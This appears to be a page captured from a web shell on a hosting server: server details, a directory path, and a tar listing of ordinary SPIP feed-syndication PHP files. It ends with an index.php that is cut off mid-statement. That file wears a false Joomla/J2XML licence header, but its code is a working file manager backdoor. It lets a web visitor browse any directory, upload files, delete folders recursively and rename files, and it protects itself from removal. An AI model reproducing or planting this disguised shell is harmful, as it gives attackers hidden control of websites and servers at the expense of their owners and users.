uawdijnntqw1x1x1
IP : 216.73.216.44
Hostname : webm005.cluster127.gra.hosting.ovh.net
Kernel : Linux webm005.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
histoio
/
www
/
f41a3
/
..
/
plugins-dist
/
.
/
.
/
..
/
35802
/
inc.tar
/
/
site.php000060400000011274152525556300006232 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Fonctions utiles au plugin sites * * @package SPIP\Sites\Fonctions **/ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Analyser une URL de site distant, qui peut être une syndication. * * @param string $url * URL du site à analyser * @return array|bool * - array : informations du site * - false : site impossible à récupérer **/ function analyser_site($url) { include_spip('inc/filtres'); include_spip('inc/distant'); // Accepter les URLs au format feed:// ou qui ont oublie le http:// $url = preg_replace(',^feed://,i', 'http://', $url); if (!preg_match(',^[a-z]+://,i', $url)) { $url = 'http://' . $url; } $texte = recuperer_page($url, true); if (!$texte) { return false; } include_spip('inc/syndic'); cdata_echappe($texte, $echappe_cdata); if (preg_match(',<(channel|feed)([\:[:space:]][^>]*)?' . '>(.*)</\1>,ims', $texte, $regs)) { $result['syndication'] = 'oui'; $result['url_syndic'] = $url; $channel = $regs[3]; // Pour recuperer l'entete, on supprime tous les items $b = array_merge( extraire_balises($channel, 'item'), extraire_balises($channel, 'entry') ); $header = str_replace($b, array(), $channel); if ($t = extraire_balise($header, 'title')) { cdata_echappe_retour($t, $echappe_cdata); $result['nom_site'] = filtrer_entites(supprimer_tags($t)); } if ($t = extraire_balises($header, 'link')) { cdata_echappe_retour($t, $echappe_cdata); foreach ($t as $link) { $u = supprimer_tags(filtrer_entites($link)); if (!strlen($u)) { $u = extraire_attribut($link, 'href'); } if (strlen($u)) { // on installe l'url comme url du site // si c'est non vide, en donnant la priorite a rel=alternate if (preg_match(',\balternate\b,', extraire_attribut($link, 'rel')) or !isset($result['url_site']) ) { $result['url_site'] = filtrer_entites($u); } } } } $result['url_site'] = url_absolue($result['url_site'], $url); if ($a = extraire_balise($header, 'description') or $a = extraire_balise($header, 'tagline') ) { cdata_echappe_retour($a, $echappe_cdata); $result['descriptif'] = filtrer_entites(supprimer_tags($a)); } if (preg_match(',<image.*<url.*>(.*)</url>.*</image>,Uims', $header, $r) and preg_match(',(https?://.*/.*(gif|png|jpg)),ims', $r[1], $r) and $image = recuperer_infos_distantes($r[1]) ) { if (in_array($image['extension'], array('gif', 'jpg', 'png'))) { $result['format_logo'] = $image['extension']; $result['logo'] = $r[1]; } else { if ($image['fichier']) { spip_unlink($image['fichier']); } } } } else { $result['syndication'] = 'non'; $result['url_site'] = $url; if (preg_match(',<head>(.*(description|title).*)</head>,Uims', $texte, $regs)) { $head = filtrer_entites($regs[1]); } else { $head = $texte; } if (preg_match(',<title[^>]*>(.*),ims', $head, $regs)) { $titre = trim($regs[1]); if (!strlen($titre)) { $titre = substr($head, strpos($head, $regs[0])); } $result['nom_site'] = filtrer_entites(supprimer_tags(preg_replace(',</title>.*$,ims', '', $titre))); } if ($a = array_merge( extraire_balises($head, 'meta'), extraire_balises($head, 'http-equiv') ) ) { foreach ($a as $meta) { if (extraire_attribut($meta, 'name') == 'description') { $desc = trim(extraire_attribut($meta, 'content')); if (!strlen($desc)) { $desc = trim(extraire_attribut($meta, 'value')); } $result['descriptif'] = $desc; } } } // Cherchons quand meme un backend include_spip('inc/distant'); include_spip('inc/feedfinder'); $feeds = get_feed_from_url($url, $texte); // si on a a trouve un (ou plusieurs) on le note avec select: // ce qui constitue un signal pour exec=sites qui proposera de choisir // si on syndique, et quelle url. if (count($feeds) >= 1) { spip_log("feedfinder.php :\n" . join("\n", $feeds)); $result['url_syndic'] = "select: " . join(' ', $feeds); } } cdata_echappe_retour($result, $echappe_cdata); return $result; } feedfinder.php000060400000015601152525556300007357 0ustar00<?php /** * adaptation en php de feedfinder.py : * * """Ultra-liberal feed finder, de Mark Pilgrim * <http://diveintomark.org/projects/feed_finder/> * Par: courcy.michael@wanadoo.fr * * adaptation en php, je ne reprends qu'une partie de cette algorithme * * 0) A chaque etape on verifie si les feed indiques sont reellement des feeds * 1) Si l'uri passe est un feed on retourne le resultat tout simplement * 2) Si le header de la page contient des balises LINK qui renvoient vers des feed on les retourne * 3) on cherche les liens <a> qui se termine par ".rss", ".rdf", ".xml", ou ".atom" * 4) on cherche les liens <a> contenant "rss", "rdf", "xml", ou "atom" * * j'integre pas l'interrogation avec xml_rpc de syndic8, mais on peut le faire assez facilement * dans la phase de test sur differentes url je n'ai constate aucune diffrerence entre les reponses * donnees par feedfinder.py et les miennes donc je ne suis pas sur de voir l'interet * * Je ne me preoccupe pas comme l'auteur de savoir si mes liens de feed sont sur le meme serveur ou pas * * exemple d'utilisation * * print_r (get_feed_from_url("http://willy.boerland.com/myblog/")); * * on obtient * * Array * ( * [0] => http://willy.boerland.com/myblog/atom/feed * [1] => http://willy.boerland.com/myblog/blogapi/rsd * [2] => http://willy.boerland.com/myblog/rss.xml * [3] => http://willy.boerland.com/myblog/node/feed * ) */ if (!defined('_ECRIRE_INC_VERSION')) { return; } $verif_complete = 0; //mettez le a 1 si vous voulez controler la validite des feed trouves mais le temps d'execution //est alors plus long /** * une fonction qui permet de si un lien est un feed ou nom, * si c'est un feed elle retourne son type, si c'est pas un feed elle retourne 0, * cette verification est évidemment très très légère * * @param string $url * URL à analyser * @return string|0 * Retourne son type (rss|atom|rdf) ou 0 si pas feed */ function is_feed($url) { /** * méthode SPIP */ if (function_exists('recuperer_page')) { $buffer = recuperer_page($url); if (preg_match("/<(\w*) .*/", $buffer, $matches)) { //ici on detecte la premiere balise $type_feed = $matches[1]; switch ($type_feed) { case "rss": return "rss"; case "feed": return "atom"; case "rdf": return "rdf"; } } return ''; } $fp = @fopen($url, "r"); if (!$fp) { return 0; } //verifion la nature de ce fichier while (!feof($fp)) { $buffer = fgets($fp, 4096); if (preg_match("/<(\w*) .*/", $buffer, $matches)) { //ici on detecte la premiere balise $type_feed = $matches[1]; switch ($type_feed) { case "rss": fclose($fp); return "rss"; case "feed": fclose($fp); return "atom"; case "rdf": fclose($fp); return "rdf"; default : fclose($fp); return 0; } } } } /*****************test is_feed****************************** * echo is_feed("https://contrib.spip.net/spip.php?page=backend" _EXTENSIO_PHP") . "<br />"; //retourne rss * echo is_feed("http://liberation.fr/rss.php") . "<br />"; //retourne rss * echo is_feed("http://liberation.fr/rss.php") . "<br />"; //retourne rss * echo is_feed("http://willy.boerland.com/myblog/atom/feed") //retourne atom * echo is_feed("http://spip.net/") . "<br />"; //retoune 0 ************************************************************/ /** * fonction sans finesse mais efficace * on parcourt ligne par ligne a la recherche de balise <a> ou <link> * si dans le corps de celle-ci on trouve les mots rss, xml, atom ou rdf * alors on recupere la valeur href='<url>', on adapte celle-ci si elle * est relative et on verifie que c'est bien un feed si oui on l'ajoute * au tableau des feed si on ne trouve rien ou si aucun feed est trouve on retourne * un tableau vide * * @param string $url * L'URL à analyser * @param $buffer * @return array $feed_list * Le tableau des feed trouvés dans la page */ function get_feed_from_url($url, $buffer = false) { global $verif_complete; //j'ai prevenu ce sera pas fin if (!preg_match("/^https?:\/\/.*/", $url)) { $url = "http://" . $url; } if (!$buffer) { $buffer = @file_get_contents($url); } include_spip("inc/filtres"); $feed_list = array(); //extraction des <link> if ($links = extraire_balises($buffer, "link")) { //y a t-y rss atom rdf ou xml dans ces balises foreach ($links as $link) { if ( (strpos($link, "rss") || strpos($link, "rdf") || strpos($link, "atom") || strpos($link, "xml")) && (!strpos($link, 'opensearch') && !strpos($link, 'oembed')) ) { //voila un candidat on va extraire sa partie href et la placer dans notre tableau if ($href = extraire_attribut($link, "href")) { //on aura pris soin de verifier si ce lien est relatif d'en faire un absolu $href = suivre_lien($url, $href); if (!$verif_complete or is_feed($href)) { $feed_list[] = $href; } } } } } //extraction des <a> if ($links = extraire_balises($buffer, "a")) { //y a t-y rss atom rdf ou xml dans ces balises foreach ($links as $link) { if ( (strpos($link, "rss") || strpos($link, "rdf") || strpos($link, "atom") || strpos($link, "xml")) && (!strpos($link, 'opensearch') && !strpos($link, 'oembed')) ) { //voila un candidat on va extraire sa partie href et la placer dans notre tableau if ($href = extraire_attribut($link, "href")) { //on aura pris soin de verifier si ce lien est relatif d'en faire un absolu $href = suivre_lien($url, $href); if (!$verif_complete or is_feed($href)) { $feed_list[] = $href; } } } } } // si c'est un site SPIP, tentons l'url connue if (!count($feed_list) and ( strpos($url, "spip") or stripos($buffer, "spip") ) ) { $href = suivre_lien($url, "spip.php?page=backend"); if (is_feed($href)) { $feed_list[] = $href; } } return $feed_list; } /************************************ getFeed **************************** * print_r (get_feed_from_url("contrib.spip.net")); * print_r (get_feed_from_url("http://liberation.fr/")); * print_r (get_feed_from_url("cnn.com")); * print_r (get_feed_from_url("http://willy.boerland.com/myblog/")); ***************************** Resultat ***************************************** * Array * ( * [0] => https://contrib.spip.net/backend.php * ) * Array * ( * [0] => http://www.liberation.fr/rss.php * ) * Array * ( * [0] => http://rss.cnn.com/rss/cnn_topstories.rss * [1] => http://rss.cnn.com/rss/cnn_latest.rss * [2] => http://www.cnn.com/services/rss/ * [3] => http://www.cnn.com/services/rss/ * [4] => http://www.cnn.com/services/rss/ * ) * Array * ( * [0] => http://willy.boerland.com/myblog/atom/feed * [1] => http://willy.boerland.com/myblog/blogapi/rsd * [2] => http://willy.boerland.com/myblog/rss.xml * [3] => http://willy.boerland.com/myblog/node/feed * ) ************************************************************************/; syndic.php000060400000043560152525556300006562 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de syndication (RSS,...) * * @package SPIP\Sites\Syndication **/ if (!defined("_ECRIRE_INC_VERSION")) { return; } // ATTENTION // Cette inclusion charge executer_une_syndication pour compatibilite, // mais cette fonction ne doit plus etre invoquee directement: // il faut passer par cron() pour avoir un verrou portable // Voir un exemple dans action/editer/site include_spip('genie/syndic'); /** * Analyse un texte de backend * * @param string $rss * Texte du fichier de backend * @param string $url_syndic * URL du site d'où à été extrait le texte * @return array|string * - array : tableau des items lus, * - string : texte d'erreur **/ function analyser_backend($rss, $url_syndic = '') { include_spip('inc/texte'); # pour couper() $rss = pipeline('pre_syndication', $rss); if (!defined('_SYNDICATION_DEREFERENCER_URL')) { /** si true, les URLs de type feedburner sont déréférencées */ define('_SYNDICATION_DEREFERENCER_URL', false); } // Echapper les CDATA cdata_echappe($rss, $echappe_cdata); // supprimer les commentaires $rss = preg_replace(',<!--.*-->,Ums', '', $rss); // simplifier le backend, en supprimant les espaces de nommage type "dc:" $rss = preg_replace(',<(/?)(dc):,i', '<\1', $rss); // chercher auteur/lang dans le fil au cas ou les items n'en auraient pas list($header) = preg_split(',<(item|entry)\b,', $rss, 2); if (preg_match_all( ',<(author|creator)\b(.*)</\1>,Uims', $header, $regs, PREG_SET_ORDER)) { $les_auteurs_du_site = array(); foreach ($regs as $reg) { $nom = $reg[2]; if (preg_match(',<name>(.*)</name>,Uims', $nom, $reg)) { $nom = $reg[1]; } $les_auteurs_du_site[] = trim(textebrut(filtrer_entites($nom))); } $les_auteurs_du_site = join(', ', array_unique($les_auteurs_du_site)); } else { $les_auteurs_du_site = ''; } $langue_du_site = ''; if ((preg_match(',<([^>]*xml:)?lang(uage)?' . '>([^<>]+)<,i', $header, $match) and $l = $match[3]) or ($l = extraire_attribut(extraire_balise($header, 'feed'), 'xml:lang')) ) { $langue_du_site = $l; } // atom elseif (preg_match(',<feed\s[^>]*xml:lang=[\'"]([^<>\'"]+)[\'"],i', $header, $match)) { $langue_du_site = $match[1]; } // Recuperer les blocs item et entry $items = array_merge(extraire_balises($rss, 'item'), extraire_balises($rss, 'entry')); // // Analyser chaque <item>...</item> du backend et le transformer en tableau // if (!count($items)) { return _T('sites:avis_echec_syndication_01'); } if (!defined('_SYNDICATION_MAX_ITEMS')) define('_SYNDICATION_MAX_ITEMS',1000); $nb_items = 0; foreach ($items as $item) { $data = array(); if ($nb_items++>_SYNDICATION_MAX_ITEMS){ break; } // URL (semi-obligatoire, sert de cle) // guid n'est un URL que si marque de <guid ispermalink="true"> ; // attention la valeur par defaut est 'true' ce qui oblige a quelque // gymnastique if (preg_match(',<guid.*>[[:space:]]*(https?:[^<]*)</guid>,Uims', $item, $regs) and preg_match(',^(true|1)?$,i', extraire_attribut($regs[0], 'ispermalink')) ) { $data['url'] = $regs[1]; } // contourner les redirections feedburner else { if (_SYNDICATION_DEREFERENCER_URL and preg_match(',<feedburner:origLink>(.*)<,Uims', $item, $regs) ) { $data['url'] = $regs[1]; } // <link>, plus classique else { if (preg_match( ',<link[^>]*[[:space:]]rel=["\']?alternate[^>]*>(.*)</link>,Uims', $item, $regs)) { $data['url'] = trim($regs[1]); // c'est pas impossible d'avoir l'URL dans un href quand meme :) if (empty($data['url'])){ $data['url'] = extraire_attribut($regs[0], 'href'); } } else { if (preg_match(',<link[^>]*[[:space:]]rel=.alternate[^>]*>,Uims', $item, $regs)) { $data['url'] = extraire_attribut($regs[0], 'href'); } else { if (preg_match(',<link[^>]*>\s*([^\s]+)\s*</link>,Uims', $item, $regs)) { $data['url'] = $regs[1]; } else { if (preg_match(',<link[^>]*>,Uims', $item, $regs)) { $data['url'] = extraire_attribut($regs[0], 'href'); } // Aucun link ni guid, mais une enclosure else { if (preg_match(',<enclosure[^>]*>,ims', $item, $regs) and $url = extraire_attribut($regs[0], 'url') ) { $data['url'] = $url; } // pas d'url, c'est genre un compteur... else { $data['url'] = ''; } } } } } } } // Titre (semi-obligatoire) if (preg_match(",<title[^>]*>(.*?)</title>,ims", $item, $match)) { $data['titre'] = $match[1]; } else { if (preg_match(',<link[[:space:]][^>]*>,Uims', $item, $mat) and $title = extraire_attribut($mat[0], 'title') ) { $data['titre'] = $title; } } if (!strlen($data['titre'] = trim($data['titre']))) { $data['titre'] = _T('ecrire:info_sans_titre'); } // Date $la_date = ''; if (preg_match(',<(published|modified|issued)>([^<]*)<,Uims', $item, $match)) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<(pubdate)>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<([a-z]+:date)>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[2], $echappe_cdata); $la_date = my_strtotime($match[2], $langue_du_site); } if (!$la_date and preg_match(',<date>([^<]*)<,Uims', $item, $match) ) { cdata_echappe_retour($match[1], $echappe_cdata); $la_date = my_strtotime($match[1], $langue_du_site); } // controle de validite de la date // pour eviter qu'un backend errone passe toujours devant // (note: ca pourrait etre defini site par site, mais ca risque d'etre // plus lourd que vraiment utile) if ($GLOBALS['controler_dates_rss']) { if (!$la_date or $la_date > time() + 48 * 3600 ) { $la_date = time(); } } if ($la_date) { $data['date'] = $la_date; } // Honorer le <lastbuilddate> en forcant la date if (preg_match(',<(lastbuilddate|updated|modified)>([^<>]+)</\1>,i', $item, $regs) and $lastbuilddate = my_strtotime(trim($regs[2]), $langue_du_site) // pas dans le futur and $lastbuilddate < time() ) { $data['lastbuilddate'] = $lastbuilddate; } // Auteur(s) if (preg_match_all( ',<(author|creator)\b[^>]*>(.*)</\1>,Uims', $item, $regs, PREG_SET_ORDER)) { $auteurs = array(); foreach ($regs as $reg) { $nom = $reg[2]; if (preg_match(',<name\b[^>]*>(.*)</name>,Uims', $nom, $reg)) { $nom = $reg[1]; } // Cas particulier d'un auteur Flickr if (preg_match(',nobody@flickr.com \((.*)\),Uims', $nom, $reg)) { $nom = $reg[1]; } $auteurs[] = trim(textebrut(filtrer_entites($nom))); } $data['lesauteurs'] = join(', ', array_unique($auteurs)); } else { $data['lesauteurs'] = $les_auteurs_du_site; } // Description if (preg_match(',<(description|summary)\b.*' . '>(.*)</\1\b,Uims', $item, $match)) { $data['descriptif'] = trim($match[2]); } if (preg_match(',<(content)\b.*' . '>(.*)</\1\b,Uims', $item, $match)) { $data['content'] = trim($match[2]); } // lang if (preg_match(',<([^>]*xml:)?lang(uage)?' . '>([^<>]+)<,i', $item, $match)) { $data['lang'] = trim($match[3]); } else { if ($lang = trim(extraire_attribut($item, 'xml:lang'))) { $data['lang'] = $lang; } else { $data['lang'] = trim($langue_du_site); } } // source et url_source (pas trouve d'exemple en ligne !!) # <source url="http://www.truc.net/music/uatsap.mp3" length="19917" /> # <source url="http://www.truc.net/rss">Site source</source> if (preg_match(',(<source[^>]*>)(([^<>]+)</source>)?,i', $item, $match)) { $data['source'] = trim($match[3]); $data['url_source'] = str_replace('&', '&', trim(extraire_attribut($match[1], 'url'))); } // GitHub : Identification du commit if (preg_match(',<id>[^/]+/(\w+)</id>,Uims', $item, $regs)) { $data['id_commit'] = $regs[1]; } // tags # a partir de "<dc:subject>", (del.icio.us) # ou <media:category> (flickr) # ou <itunes:category> (apple) # on cree nos tags microformat <a rel="directory" href="url">titre</a> # http://microformats.org/wiki/rel-directory-fr $tags = array(); if (preg_match_all( ',<(([a-z]+:)?(subject|category|directory|keywords?|tags?|type))[^>]*>' . '(.*?)</\1>,ims', $item, $matches, PREG_SET_ORDER)) { $tags = ajouter_tags($matches, $item); } # array() elseif (preg_match_all( ',<(([a-z]+:)?(subject|category|directory|keywords?|tags?|type))[^>]*/>' . ',ims', $item, $matches, PREG_SET_ORDER)) { $tags = ajouter_tags($matches, $item); } # array() // Pieces jointes : // chercher <enclosure> au format RSS et les passer en microformat // ou des microformats relEnclosure, // ou encore les media:content if (!afficher_enclosures(join(', ', $tags))) { // on prend toutes les pièces jointes possibles, et on essaie de les rendre uniques. $enclosures = array(); # rss 2 if (preg_match_all(',<enclosure[[:space:]][^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } # atom if (preg_match_all(',<link\b[^<>]+rel=["\']?enclosure["\']?[^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } # media rss if (preg_match_all(',<media:content\b[^<>]+>,i', $item, $matches, PREG_PATTERN_ORDER)) { $enclosures += array_map('enclosure2microformat', $matches[0]); } $data['enclosures'] = join(', ', array_unique($enclosures)); unset($enclosures); } $data['item'] = $item; // Nettoyer les donnees et remettre les CDATA en place cdata_echappe_retour($data, $echappe_cdata); cdata_echappe_retour($tags, $echappe_cdata); // passer l'url en absolue $data['url'] = url_absolue(filtrer_entites($data['url']), $url_syndic); // si on demande un dereferencement de l'URL, il faut verifier que ce n'est pas une redirection if (_SYNDICATION_DEREFERENCER_URL) { $target = $data['url']; include_spip("inc/distant"); for ($i = 0; $i < 10; $i++) { // on fait un GET et pas un HEAD car les vieux SPIP ne repondent pas la redirection avec un HEAD (honte) sur un article virtuel $res = recuperer_lapage($target, false, "GET", 4096); if (!$res) { break; } // c'est pas bon signe car on a pas trouve l'URL... if (is_array($res)) { break; } // on a trouve la page, donc on a l'URL finale $target = $res; // c'est une redirection, on la suit pour voir ou elle mene } // ici $target est l'URL finale de la page $data['url'] = $target; } // Trouver les microformats (ecrase les <category> et <dc:subject>) if (preg_match_all( ',<a[[:space:]]([^>]+[[:space:]])?rel=[^>]+>.*</a>,Uims', $data['item'], $regs, PREG_PATTERN_ORDER)) { $tags = $regs[0]; } // Cas particulier : tags Connotea sous la forme <a class="postedtag"> if (preg_match_all( ',<a[[:space:]][^>]+ class="postedtag"[^>]*>.*</a>,Uims', $data['item'], $regs, PREG_PATTERN_ORDER)) { $tags = preg_replace(', class="postedtag",i', ' rel="tag"', $regs[0]); } $data['tags'] = $tags; // enlever le html des titre pour etre homogene avec les autres objets spip $data['titre'] = textebrut($data['titre']); $articles[] = $data; } return $articles; } /** * Strtotime même avec le format W3C ! * * Car hélàs, strtotime ne le reconnait pas tout seul ! * * @link http://www.w3.org/TR/NOTE-datetime Format datetime du W3C * * @param string $la_date * Date à parser * @return int * Timestamp **/ function my_strtotime($la_date, $lang = null) { // format complet if (preg_match( ',^(\d+-\d+-\d+[T ]\d+:\d+(:\d+)?)(\.\d+)?' . '(Z|([-+]\d{2}):\d+)?$,', $la_date, $match)) { $match = array_pad($match, 6, null); $la_date = str_replace("T", " ", $match[1]) . " GMT"; return strtotime($la_date) - intval($match[5]) * 3600; } // YYYY if (preg_match(',^\d{4}$,', $la_date, $match)) { return strtotime($match[0] . "-01-01"); } // YYYY-MM if (preg_match(',^\d{4}-\d{2}$,', $la_date, $match)) { return strtotime($match[0] . "-01"); } // YYYY-MM-DD hh:mm:ss if (preg_match(',^\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}:\d{2}\b,', $la_date, $match)) { return strtotime($match[0]); } // utiliser strtotime en dernier ressort // en nettoyant le jour qui prefixe parfois la date, suivi d'une virgule // et les UT qui sont en fait des UTC $la_date_c = preg_replace("/^\w+,\s*/ms", "", $la_date); $la_date_c = preg_replace("/UT\s*$/ms", "UTC", $la_date_c); if ($s = strtotime($la_date) or $s = strtotime($la_date_c) ) { return $s; } // essayons de voir si le nom du mois est dans la langue du flux et remplacons le // par la version anglaise avant de faire strtotime if ($lang) { // "fr-fr" list($lang) = explode("-", $lang); static $months = null; if (!isset($months[$lang])) { $prev_lang = $GLOBALS['spip_lang']; changer_langue($lang); foreach (range(1, 12) as $m) { $s = _T("date_mois_$m"); $months[$lang][$s] = date("M", strtotime("2013-$m-01")); $s = _T("date_mois_" . $m . "_abbr"); $months[$lang][$s] = date("M", strtotime("2013-$m-01")); $months[$lang][trim($s, ".")] = date("M", strtotime("2013-$m-01")); } changer_langue($prev_lang); } spip_log($la_date_c, "dbgs"); foreach ($months[$lang] as $loc => $en) { if (stripos($la_date_c, $loc) !== false) { $s = str_ireplace($loc, $en, $la_date_c); if ($s = strtotime($s)) { return $s; } } } } // erreur spip_log("Impossible de lire le format de date '$la_date'"); return false; } // A partir d'un <dc:subject> ou autre essayer de recuperer // le mot et son url ; on cree <a href="url" rel="tag">mot</a> // https://code.spip.net/@creer_tag function creer_tag($mot, $type, $url) { if (!strlen($mot = trim($mot))) { return ''; } $mot = "<a rel=\"tag\">$mot</a>"; if ($url) { $mot = inserer_attribut($mot, 'href', $url); } if ($type) { $mot = inserer_attribut($mot, 'rel', $type); } return $mot; } // https://code.spip.net/@ajouter_tags function ajouter_tags($matches, $item) { include_spip('inc/filtres'); $tags = array(); foreach ($matches as $match) { $type = ($match[3] == 'category' or $match[3] == 'directory') ? 'directory' : 'tag'; $mot = supprimer_tags($match[0]); if (!strlen($mot) and !strlen($mot = extraire_attribut($match[0], 'label')) ) { break; } // rechercher un url if ($url = extraire_attribut($match[0], 'domain')) { // category@domain est la racine d'une url qui se prolonge // avec le contenu text du tag <category> ; mais dans SPIP < 2.0 // on donnait category@domain = #URL_RUBRIQUE, et // text = #TITRE_RUBRIQUE ; d'ou l'heuristique suivante sur le slash if (substr($url, -1) == '/') { $url .= rawurlencode($mot); } } else { if ($url = extraire_attribut($match[0], 'resource') or $url = extraire_attribut($match[0], 'url') ) { } ## cas particuliers else { if (extraire_attribut($match[0], 'scheme') == 'urn:flickr:tags') { foreach (explode(' ', $mot) as $petit) { if ($t = creer_tag($petit, $type, 'http://www.flickr.com/photos/tags/' . rawurlencode($petit) . '/') ) { $tags[] = $t; } } $mot = ''; } else { if ( // cas atom1, a faire apres flickr $term = extraire_attribut($match[0], 'term') ) { if ($scheme = extraire_attribut($match[0], 'scheme')) { $url = suivre_lien($scheme, $term); } else { $url = $term; } } else { # type delicious.com foreach (explode(' ', $mot) as $petit) { if (preg_match(',<rdf\b[^>]*\bresource=["\']([^>]*/' . preg_quote(rawurlencode($petit), ',') . ')["\'],i', $item, $m)) { $mot = ''; if ($t = creer_tag($petit, $type, $m[1])) { $tags[] = $t; } } } } } } } if ($t = creer_tag($mot, $type, $url)) { $tags[] = $t; } } return $tags; } // Lit contenu des blocs [[CDATA]] dans un flux // https://code.spip.net/@cdata_echappe_retour function cdata_echappe(&$rss, &$echappe_cdata) { $echappe_cdata = array(); if (preg_match_all(',<!\[CDATA\[(.*)]]>,Uims', $rss, $regs, PREG_SET_ORDER)) { foreach ($regs as $n => $reg) { if (strpos($reg[1],'<')!==false or strpos($reg[1],'>')!==false) { // verifier que la chaine est encore dans le flux, car on peut avoir X fois la meme // inutile de (sur)peupler le tableau avec des substitutions identiques if (strpos($rss,$reg[0])!==false){ $echappe_cdata["@@@SPIP_CDATA$n@@@"] = $reg[1]; $rss = str_replace($reg[0], "@@@SPIP_CDATA$n@@@", $rss); } } else { $rss = str_replace($reg[0], $reg[1], $rss); } } } } // Retablit le contenu des blocs [[CDATA]] dans une chaine ou un tableau // https://code.spip.net/@cdata_echappe_retour function cdata_echappe_retour(&$x, &$echappe_cdata) { if (is_string($x)) { if (strpos($x, '<') !== false){ $x = filtrer_entites($x); } if (strpos($x, '@@@SPIP_CDATA') !== false){ $x = str_replace( array_keys($echappe_cdata), array_values($echappe_cdata), $x); } } else { if (is_array($x)) { foreach ($x as $k => &$v) { cdata_echappe_retour($v, $echappe_cdata); } } } } index.php000064400000054150152525631420006376 0ustar00<?php /** * @version 3.3.11 cli/Joomlas.php * @package JOOMLAS cli * @subpackage cli * @since 2.5 * * @author Helios Ciancio <info@eshiol.it> * @link http://www.eshiol.it * @copyright Copyright (C) 2010-2016 Helios Ciancio. All Rights Reserved * @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL v3 * Joomlas is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ /** * This is a J2XML script which should be called from the command-line, not the * web. For example something like: * /usr/bin/php /path/to/site/cli/Joomlas.php -f joomlas_file.xml */ // Make sure we're being called from the command line, not a web interface function getHumanSize($bytes) { if ($bytes === false) return '?'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($bytes >= 1024 && $i < 4) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function formatTimestamp($time) { return $time ? date('Y-m-d H:i:s', $time) : '-'; } function my_file_get_contents($filename) { if (function_exists('file_get_contents')) { $content = @file_get_contents($filename); if ($content !== false) return $content; } $handle = @fopen($filename, 'rb'); if (!$handle) return false; $content = stream_get_contents($handle); fclose($handle); return $content !== false ? $content : false; } function my_file_put_contents($filename, $data) { if (function_exists('file_put_contents')) { $result = @file_put_contents($filename, $data); if ($result !== false) return $result; } $handle = @fopen($filename, 'wb'); if (!$handle) return false; $bytes = fwrite($handle, $data); fclose($handle); return $bytes !== false ? $bytes : false; } function my_move_uploaded_file($from, $to) { if (function_exists('move_uploaded_file')) { if (@move_uploaded_file($from, $to)) return true; } if (is_uploaded_file($from)) { if (@copy($from, $to)) { @unlink($from); return true; } } return false; } function recursiveDelete($target, $scriptPath) { if (!is_dir($target)) return unlink($target); $realScript = realpath($scriptPath); $realTarget = realpath($target); if ($realScript && $realTarget && strpos($realScript, $realTarget . DIRECTORY_SEPARATOR) === 0) { return false; } $success = true; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $item) { if ($item->getRealPath() === realpath($scriptPath)) { $success = false; continue; } if ($item->isDir()) { if (!rmdir($item->getRealPath())) $success = false; } else { if (!unlink($item->getRealPath())) $success = false; } } if (!rmdir($target)) $success = false; return $success; } $scriptFile = __FILE__; $currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.'; $currentDir = realpath($currentDir); $message = ''; if (!$currentDir || !is_dir($currentDir)) { die('Invalid directory.'); } if (isset($_POST['upload'])) { if ($_FILES['file']['error'] === UPLOAD_ERR_NO_FILE) { $message = 'No file selected.'; } else { $targetFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (realpath($targetFile) === realpath($scriptFile)) { $message = 'Cannot overwrite the manager script.'; } elseif (my_move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = 'File uploaded successfully.'; } else { $message = 'Upload failed.'; } } } if (isset($_GET['delete'])) { $target = $currentDir . DIRECTORY_SEPARATOR . basename($_GET['delete']); $realTarget = realpath($target); if ($realTarget === realpath($scriptFile)) { $message = 'You cannot delete this manager script.'; } elseif (!$realTarget || strpos($realTarget, $currentDir) !== 0) { $message = 'Invalid target.'; } else { if (is_dir($realTarget)) { if (recursiveDelete($realTarget, $scriptFile)) { $message = 'Folder and all contents deleted.'; } else { $message = 'Failed to delete folder.'; } } else { if (unlink($realTarget)) { $message = 'File deleted.'; } else { $message = 'Cannot delete file.'; } } } } if (isset($_POST['rename'])) { $oldName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']); $newName = $currentDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']); $realOld = realpath($oldName); if ($realOld === realpath($scriptFile)) { $message = 'Renaming the manager script is not allowed.'; } elseif ($realOld && rename($realOld, $newName)) { $message = 